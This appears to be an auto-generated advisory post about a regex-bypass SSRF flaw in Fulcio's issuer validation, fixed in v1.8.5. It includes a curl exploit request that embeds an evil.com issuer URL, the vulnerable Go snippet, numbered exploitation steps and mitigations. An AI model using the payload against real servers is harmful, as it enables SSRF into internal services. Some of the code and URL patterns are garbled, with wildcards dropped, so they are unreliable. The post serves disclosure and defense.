Listen to this Post
The vulnerability exists in the `metaRegex()` function within Fulcio’s configuration parser. This function dynamically builds a regular expression from a user-configured MetaIssuer URL pattern (e.g., https://oidc.eks..amazonaws.com/id/`). It correctly escapes the pattern and replaces wildcards (``) with a character class[-_a-zA-Z0-9]+. However, the compiled regex is missing start (^) and end ($) anchors. When Go's `regexp.MatchString()` performs substring matching, an attacker can bypass validation by crafting a malicious JWT `iss` claim. This claim embeds a valid issuer pattern within a longer URL controlled by the attacker (e.g.,https://attacker.com/x/https://oidc.eks.foo.amazonaws.com/id/bar`). The unanchored regex matches the embedded substring, allowing the attacker’s URL to pass as “valid.” Fulcio then attempts to fetch the OpenID Connect discovery document from this attacker-controlled domain. The attacker responds with a manipulated document pointing the `jwks_uri` to an internal service’s URL. This causes Fulcio to make a blind HTTP GET request to the specified internal endpoint, leading to Server-Side Request Forgery (SSRF) against services within Fulcio’s network.
Platform: Fulcio
Version: < v1.8.5
Vulnerability : Regex Bypass SSRF
Severity: Critical
date: 2024
Prediction: Patch available.
What Undercode Say:
curl -X POST https://fulcio-server/api/v1/signingCert -H "Content-Type: application/json" -d '{"credentials":{"issuer":"https://evil.com/path/https://oidc.eks.region.amazonaws.com/id/cluster"}}'
// Vulnerable code snippet (pkg/config/config.go)
func metaRegex(issuer string) (regexp.Regexp, error) {
quoted := regexp.QuoteMeta(issuer)
replaced := strings.ReplaceAll(quoted, regexp.QuoteMeta(""), "[-_a-zA-Z0-9]+")
return regexp.Compile(replaced) // Missing ^ and $ anchors
}
How Exploit:
1. Attacker crafts JWT with malicious `iss` URL.
2. Fulcio validates URL via unanchored regex.
3. Regex matches embedded valid pattern substring.
4. Fulcio fetches OIDC discovery from attacker URL.
5. Attacker supplies discovery document with internal `jwks_uri`.
- Fulcio performs blind GET request to internal service.
Protection from this CVE
- Upgrade to Fulcio v1.8.5.
- Implement network egress controls.
- Validate issuer URLs with anchored regex.
Impact:
- Blind SSRF to metadata services.
- Internal Kubernetes API probing.
- Internal network service scanning.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
